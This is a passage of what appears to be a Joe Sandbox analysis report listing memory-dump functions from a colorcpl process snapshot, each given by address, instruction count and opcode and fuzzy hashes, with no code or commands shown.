Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fe9280d4a0e0b7482db0923039418b58effdf2c905f3eb24c082cde2cc9f2b8
Instruction ID: 2141e5cd03a90aaec847ab66cf703ce1f1eacd681055779f73c4c7ccb511cd65
Opcode Fuzzy Hash: 4fe9280d4a0e0b7482db0923039418b58effdf2c905f3eb24c082cde2cc9f2b8
Instruction Fuzzy Hash: AFE19D75A00246CFDB18CF59C990AAEB7F2FF58310F648269E855AB394D730EA41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 1E671843 Relevance: .3, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a11f83fa8bec8abffe4549c80cfd16bf8ed89c4a1d46f126788460770300069
Instruction ID: eac732a459389e6d286f66727fd7142971399cbef182b77e056f34b269e3a238
Opcode Fuzzy Hash: 9a11f83fa8bec8abffe4549c80cfd16bf8ed89c4a1d46f126788460770300069
Instruction Fuzzy Hash: 24D11675A01245DFDB41CF68C580B867BFABF49340F9446BAEE099B216E730E905CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 1E6338C4 Relevance: .3, Instructions: 303COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec23f0d41561d06f85b5a3382feffd42b03b0ae7357955e2ac7b85773b8eefbd
Instruction ID: 32745de3c2616cb8b5c5d11139b61193cbe71fed5760d58d512d2b461bba8445
Opcode Fuzzy Hash: ec23f0d41561d06f85b5a3382feffd42b03b0ae7357955e2ac7b85773b8eefbd
Instruction Fuzzy Hash: 00C154B5941249DFDB15CFA9C980A9EBBF5FF48300F61462AE42AEB350E734A901CF54

Uniqueness

Uniqueness Score: -1.00%

Function 1E6B5960 Relevance: .2, Instructions: 246COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8990bef4a4e221cde88aa50ea925ab6ce86974a1ee3f0eefe7b8ed6151751f49
Instruction ID: 0fc912959176ed21d3db266d94acc65430a64bb57bd3b109635178d0dbbe309b
Opcode Fuzzy Hash: 8990bef4a4e221cde88aa50ea925ab6ce86974a1ee3f0eefe7b8ed6151751f49
Instruction Fuzzy Hash: 54812EB5E00349ABDB11DFA5CC94E9FBBBDEF49B10F500A29B615A7290DB70E900CB54

Uniqueness

Uniqueness Score: -1.00%

Function 1E6CB890 Relevance: .2, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a68976729f5c169c2c591d8d466e275be043a451543eb67d35ccfe498a6cbed1
Instruction ID: fc880517a2427afdf05be77a82bd05ac6de75de39890bfe16e29a136dff78d5b
Opcode Fuzzy Hash: a68976729f5c169c2c591d8d466e275be043a451543eb67d35ccfe498a6cbed1
Instruction Fuzzy Hash: 2191E67190026D9FCB10CF64CC80BD9B3B5EF0A314F448AE5EA8AA7245D734AE91DF95

Uniqueness

Uniqueness Score: -1.00%

Function 1E661FCD Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d45cff9eebf7e4d22c1ce3fcc24b15a1b095a5fa2b2ce0eacfdb7ef7a7161c41
Instruction ID: 4d4060b2291a9537341d799e464af8f461b14e5a35909a1b307ec94bf195c109
Opcode Fuzzy Hash: d45cff9eebf7e4d22c1ce3fcc24b15a1b095a5fa2b2ce0eacfdb7ef7a7161c41
Instruction Fuzzy Hash: 21818B74A00746EFCB15CF69C584B9ABBF5FF49700F50866AEA56C7281D730E981CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 1E6F9B8B Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb8e329786ed3226362e7135d761cd9a0203bf70625460d6ab447a1872867629
Instruction ID: 44cb54aeadd8c7bf3708ba6435324f1fd8450211e8dc00c05bdf5880b6f5c46e
Opcode Fuzzy Hash: eb8e329786ed3226362e7135d761cd9a0203bf70625460d6ab447a1872867629
Instruction Fuzzy Hash: E661D230F01655DBDB05CEA9C8B0BBE77ABAF85310FA84729E811A7394DB30D941C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 1E6E598D Relevance: .2, Instructions: 204COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 643b246fbc27cfd5caff990afe1bb125586548c3544133d1d752a6ae4043fe28
Instruction ID: b4fecd46a8bea0a4d598be66e840602fc8ec2aa09cd9431d18afdf2d0655bb2a
Opcode Fuzzy Hash: 643b246fbc27cfd5caff990afe1bb125586548c3544133d1d752a6ae4043fe28
Instruction Fuzzy Hash: EC611431E1225AAFDB10CF68C860BAE73B6EF44714F904669E851EBAC0F778D941C790

Uniqueness

Uniqueness Score: -1.00%

Function 1E6D375F Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b453e2a542a727a47880bf9cde022b3139c440edf37ae600e7cf846494f4ba7c
Instruction ID: 2e63a164e2dcb34068d6fdc22df1e119e184c8aa0bb46585ce3372ea261a45ef
Opcode Fuzzy Hash: b453e2a542a727a47880bf9cde022b3139c440edf37ae600e7cf846494f4ba7c
Instruction Fuzzy Hash: F2719035E41265EFCB11DF98C880BADB7B6FF49710F914225E881AB250D730EC56CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 1E6399BE Relevance: .2, Instructions: 178COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a918266c555bc9c56286fd2653cabd174933d0401353a108cafa421f2824d6d4
Instruction ID: c2d97fbed297bfa0007ed942054f738ddb516d344884210bfec304fdc160d950
Opcode Fuzzy Hash: a918266c555bc9c56286fd2653cabd174933d0401353a108cafa421f2824d6d4
Instruction Fuzzy Hash: C251D531E00216DFDB08CF95C4916AEB7B6FF45312FA94769D80A9B25CE730A941CF90

Uniqueness

Uniqueness Score: -1.00%

Function 1E6D3F90 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a31dbe6dfc4a698525db9a51b4a24bef273a25ad16d597e5d43bb7450578d510
Instruction ID: 54101df3d3795385399e9fd7471b6c9e6438be8962fc64eea3424e5cef01bb58
Opcode Fuzzy Hash: a31dbe6dfc4a698525db9a51b4a24bef273a25ad16d597e5d43bb7450578d510
Instruction Fuzzy Hash: 0D517D716083429FD704DF28D854AAAB7E6FF89314F958A2DF495C7250E730EC09CB92

Uniqueness

Uniqueness Score: -1.00%

Function 1E669B9F Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62ad84e35219e5a9bc8a8a1ae991dccca8fc5a249dbbe5d499c70fda0cb00df1
Instruction ID: 1fed1a5e29ee1e3b11e9cf676f276f0e4a6b36aa13a800978025a94505630f8f
Opcode Fuzzy Hash: 62ad84e35219e5a9bc8a8a1ae991dccca8fc5a249dbbe5d499c70fda0cb00df1
Instruction Fuzzy Hash: 8C616875E22656EFDB05CF68C540B8DBBF1BF89720F54862AE818AB351D734AD10CB90

Uniqueness

Uniqueness Score: -1.00%

Function 1E6EBFC0 Relevance: .2, Instructions: 162COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 560d1a90ac210632884dd5a0a744483c9fa966326aad27594260bc11b19a8f02
Instruction ID: 9b767d86abe4ff99f3621756a18f4753bf946e04e1ed628c490d5f2782736eb9
Opcode Fuzzy Hash: 560d1a90ac210632884dd5a0a744483c9fa966326aad27594260bc11b19a8f02
Instruction Fuzzy Hash: 4D515C395022C696CB0CCF55C894AFEB3B6BF41744BD0835EE8558BA85E731DD82C790

Uniqueness

Uniqueness Score: -1.00%

Function 1E627CD5 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47a91ac88072500062ad43a9040f6ef7bfb9efe20abde585450629f2451819cc
Instruction ID: cdc2ef6e9b8c76187473cb8e606383d472df17a46e9bb370f94aace5cabacd86
Opcode Fuzzy Hash: 47a91ac88072500062ad43a9040f6ef7bfb9efe20abde585450629f2451819cc
Instruction Fuzzy Hash: 3151CC78506382ABD3218F24C841F6ABBE8FF54710F900E2DE49987660E734F840CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 1E643740 Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9753cdc1167cd2a6f4b0c54e5efd4367c15a004b376de272da8817eb3c403daa
Instruction ID: 32b70ba6d31c148900896147f9ba6e3c03fd32c51655e4ab05e6f1835179fd89
Opcode Fuzzy Hash: 9753cdc1167cd2a6f4b0c54e5efd4367c15a004b376de272da8817eb3c403daa
Instruction Fuzzy Hash: 8C511075A51656AFC301CF68C4806ADBBB2FF45720FA08769E884DB740E734EA91CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 1E703E10 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 389fb54456b3efe4ed5f525496ecf050ebde2f65efe6ce24bf3c6b148c4a960d
Instruction ID: 2437cc6bec653ddf606535ea6ce0af4688b2e1bb782fb8dc21b33a1b5dd3204d
Opcode Fuzzy Hash: 389fb54456b3efe4ed5f525496ecf050ebde2f65efe6ce24bf3c6b148c4a960d
Instruction Fuzzy Hash: 7D518A35B00A56AFEB05DF64C980B9ABBB6FF4A310F144665E905977A0DB70BD10CF90

Uniqueness

Uniqueness Score: -1.00%

Function 1E6C5B50 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d2034ad89b0a0fbdf7ee0086258f14be42ed2e899d470c887d8813522647b1c
Instruction ID: c9b64c9106a083f657375e160b0a43a80c80e1f5e43d5fe63f0584d50bbdf839
Opcode Fuzzy Hash: 9d2034ad89b0a0fbdf7ee0086258f14be42ed2e899d470c887d8813522647b1c
Instruction Fuzzy Hash: 8C5127B5A00619AFCB00CF58C881A9ABBF5FF09354B298699E818DB351D335ED61CBD4

Uniqueness

Uniqueness Score: -1.00%

Function 1E633FC2 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea5783f37d6415028cf653ac5b6978d22a160581110b67bcef33c90d1936702f
Instruction ID: 23a09921259bfd869662c100a26ff4b68e8e64a0663c2c39cc3c1c38783781b4
Opcode Fuzzy Hash: ea5783f37d6415028cf653ac5b6978d22a160581110b67bcef33c90d1936702f
Instruction Fuzzy Hash: 5051BC79A01656CFCB04CFA8C590A9EFBF2BF49311F70862AD959A7344DB30AD40CB90

Uniqueness

Uniqueness Score: -1.00%

Function 1E6D1CF9 Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9103339e66cdf15444abf4378066a2b48a826036b288962e8b7ee6210dcc849d
Instruction ID: 8d39a7776e95cebc14e4738d3fd6c4b20f6cb4d310e5501fce197699d36b96b9
Opcode Fuzzy Hash: 9103339e66cdf15444abf4378066a2b48a826036b288962e8b7ee6210dcc849d
Instruction Fuzzy Hash: B241E131A00746EFEB04DE59C850B7AB3EAFF85750FD2866AE8909B211DBB0DD048790

Uniqueness

Uniqueness Score: -1.00%

Function 1E703B80 Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b27d634f87aa19dd1661dd2d01d2114967b43c0e74a8ed6ef7dffb48ebf3818
Instruction ID: c3dbe8d90d2796c971fb57dc756a1f630fcf5bc26d71bad4667e9014232aba6c
Opcode Fuzzy Hash: 6b27d634f87aa19dd1661dd2d01d2114967b43c0e74a8ed6ef7dffb48ebf3818
Instruction Fuzzy Hash: C9515975605782AFE711CF29C980B57BBE6FF89314F004A2DE89ACB260D734E844CB91

Uniqueness

Uniqueness Score: -1.00%

Function 1E65DA20 Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 515324ac438db481b324c7356584c7d63a70d61550a152daa8f2fbe4e8948685
Instruction ID: 4c0206e0a4be89ed0c779aa586b29c1bf6536e0b55106141080f43a16754b488
Opcode Fuzzy Hash: 515324ac438db481b324c7356584c7d63a70d61550a152daa8f2fbe4e8948685
Instruction Fuzzy Hash: 2441E972A057959FD321DF14C880B6BB3E9EF95B60F820B29E89457281DB30DC84DBD2

Uniqueness

Uniqueness Score: -1.00%

Function 1E627A80 Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12faedf2575a1b2c8fefdfa423e543861f4d4051b7d12e2bec8c6f78b6ab3680
Instruction ID: 1c38c369b56d08473ec8a27c65ce206d5978369b49c6a5746e3a99112bfaebfc
Opcode Fuzzy Hash: 12faedf2575a1b2c8fefdfa423e543861f4d4051b7d12e2bec8c6f78b6ab3680
Instruction Fuzzy Hash: 9541FF3A6093529BD320DF25CC80F5BB7A4AF84750F914A39F8969B290D725FC05CBE9

Uniqueness

Uniqueness Score: -1.00%

Function 1E6EB9EE Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af0d6ed125fc3eb1725f8e0c8c8a362aa54d1a19c00bcb142e327c3af8729800
Instruction ID: 17d66aa1b517e4360ef5f858b29cf10071ed18d71f28151994f61c334f9613cf
Opcode Fuzzy Hash: af0d6ed125fc3eb1725f8e0c8c8a362aa54d1a19c00bcb142e327c3af8729800
Instruction Fuzzy Hash: 9D410775A01245EFDB20DFA8C854BAAB7B5EB48350F918529E806DB7C4DB70DD41C770

Uniqueness

Uniqueness Score: -1.00%

Function 1E6DBA0B Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca1ac5d55d692f5f46498b90b45fcbb1537f4f259a80e997c9e8bbffb511a4be
Instruction ID: 5f54885ec9da779a40e0005b587b2be17ca8fd3a6375e37ef5b721cf346119f3
Opcode Fuzzy Hash: ca1ac5d55d692f5f46498b90b45fcbb1537f4f259a80e997c9e8bbffb511a4be
Instruction Fuzzy Hash: 39419D71A00B019FD715CF69C880B6AB7F6FF89700F81863DD59A97758DB30E9098B94

Uniqueness

Uniqueness Score: -1.00%

Function 1E65D6E0 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8b1c5c074f8c00d072c925b4cc93bd5c39739555662efb7dd38d1665bcaea9d
Instruction ID: 2fea591cf86f7f941f1d57be0bc3ad4809138addf763f41d30559058bea6d1c7
Opcode Fuzzy Hash: b8b1c5c074f8c00d072c925b4cc93bd5c39739555662efb7dd38d1665bcaea9d
Instruction Fuzzy Hash: A24123796052919FE320DF65C990F6B77A8EF49760F810B2DF82547290DB30E881DB96

Uniqueness

Uniqueness Score: -1.00%

Function 1E6BFBDC Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a0098d64843378da610105f93eb257d99676a7b702d2994faaaa906aaea376f
Instruction ID: bc66a5805abfe0373f1d239a3f78dddeeac0a9a7cf5ffd8d89ca3a83c6d8b154
Opcode Fuzzy Hash: 3a0098d64843378da610105f93eb257d99676a7b702d2994faaaa906aaea376f
Instruction Fuzzy Hash: 05411236B00145ABCB15DF68CC50BAF7769EF81750F964268ED019B2A0D732EE81CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 1E6FDC27 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dac19dea8a90594c03d4a2b98face7a6771f95fd0833d757c53d7d2a8beab2a9
Instruction ID: 8b433ebd9ffb4136614c22b525d2d8507c5e6b0bef368d3f546432462a7fc3af
Opcode Fuzzy Hash: dac19dea8a90594c03d4a2b98face7a6771f95fd0833d757c53d7d2a8beab2a9
Instruction Fuzzy Hash: B541ED71204341CBD315CF69C8A0B2ABBEAEB95704F844B2DE8A6C7381DB74E846C761

Uniqueness

Uniqueness Score: -1.00%

Function 1E6FBEE6 Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3ecdc75845e4efcf9a5524340a0558ffaffa1f42db526757369321156727b28
Instruction ID: 4463b1b0f43b9fa474feb50200d5c81a7493f34c1906c8b97d59cc636570c471
Opcode Fuzzy Hash: d3ecdc75845e4efcf9a5524340a0558ffaffa1f42db526757369321156727b28
Instruction Fuzzy Hash: 86311432702691EBC3168B68CC74F6ABBAAEF45780F944750F8428B745D775EC81C794

Uniqueness

Uniqueness Score: -1.00%

Function 1E65FCA0 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7739d8abad64a8aa799cd644a6ee15780e30c2fc40ae2b428687d195409032af
Instruction ID: 3e94e0b59ed3128e129d2f9944dfefbe3ce3f1330d129779d4946d7cb28bc56e
Opcode Fuzzy Hash: 7739d8abad64a8aa799cd644a6ee15780e30c2fc40ae2b428687d195409032af
Instruction Fuzzy Hash: F941DE71B14B868BE720CF25C454B1673E6BF463A4F848B1AE8968B7C4C738D581CB82

Uniqueness

Uniqueness Score: -1.00%

Function 1E639BC4 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0e93778264d02a4a711837860e7e11a396fe89af5631bdb9a39475dac0d888b
Instruction ID: 2f624526f8a259b480487df33d6c346f7d669d7dd0eb6cef7da7e4589ab5654a
Opcode Fuzzy Hash: d0e93778264d02a4a711837860e7e11a396fe89af5631bdb9a39475dac0d888b
Instruction Fuzzy Hash: D6419275A0026D8BDB24CF2AC8C8AA9B3F5FB55301FA406E9D80D97249E7709E80CF50

Uniqueness

Uniqueness Score: -1.00%

Function 1E661876 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2bf57af13ec460f4e2de4375beb1bbef415a30e281738ebb33e068d9d984f9c1
Instruction ID: 237f7b6b6cf71eb7d5c5f4a9219b07c07cb9247ded6927d8febba9edeaa6e717
Opcode Fuzzy Hash: 2bf57af13ec460f4e2de4375beb1bbef415a30e281738ebb33e068d9d984f9c1
Instruction Fuzzy Hash: 8B418BB5E00256DFDB05CF59C490BA9B7F2FF89350F5582AAE918AB390D734AD01CB90

Uniqueness

Uniqueness Score: -1.00%

Function 1E6AFF42 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c8c7756ec128f437a8584659846a7e7c1fb332ca87502654ce79b07cefbf844
Instruction ID: 785c05a47272726a9049a7c24ea1966a47db6408d3ff3aee1594be639dbfa0cd
Opcode Fuzzy Hash: 0c8c7756ec128f437a8584659846a7e7c1fb332ca87502654ce79b07cefbf844
Instruction Fuzzy Hash: ED4191B5D01248EFDB14CFA5D940BEEBBFAEF49700F90462AE455A7250DB30A941CF54

Uniqueness

Uniqueness Score: -1.00%

Function 1E627C40 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a39c583591a6ef49d2653b147ca3d602d7e07e66d93ee4a19f354fa345ad6c6c
Instruction ID: 90b5347134706db15e2869eef11e4f65cb4f769a7400888cb1ac8e397bdbc937
Opcode Fuzzy Hash: a39c583591a6ef49d2653b147ca3d602d7e07e66d93ee4a19f354fa345ad6c6c
Instruction Fuzzy Hash: E8310635641756EFC3259F25CC61F2A77A6FF01B61FD14B29E45A0B6A0D730B800CB94

Uniqueness

Uniqueness Score: -1.00%

Function 1E667F51 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b7d9693027e6c7e79a97d219c2fd90e8e28550797327b1a4e47ff34366fe95d
Instruction ID: d73dc9e96ea37ec8a1e140dd2c2553286631fc7ce6f88798cabbf7b1461d81d2
Opcode Fuzzy Hash: 7b7d9693027e6c7e79a97d219c2fd90e8e28550797327b1a4e47ff34366fe95d
Instruction Fuzzy Hash: FA31D472A21611CBCB24CF3AC850A6BB7F6EF8A7507918A6AE445CB350E734DC40C790

Uniqueness

Uniqueness Score: -1.00%

Function 1E637E96 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ccb0177d6147b0c4abe18ecd4a54e6acbfa7287a082c86dabab39786cf3b821
Instruction ID: b923ec11cb30012a4a7bf7751b4e44df0b355e5b2e623df8de27fee90fd72163
Opcode Fuzzy Hash: 4ccb0177d6147b0c4abe18ecd4a54e6acbfa7287a082c86dabab39786cf3b821
Instruction Fuzzy Hash: F4312875A026CABED705DB74C890BDAFB95BF42204F74475EC01C47201EB387959C7A4

Uniqueness

Uniqueness Score: -1.00%

Function 1E62DEA5 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6fa8d8b043a67a1cf1f64c9dcc76c7551672d76ce2b24fd86b889368b8ce5df3
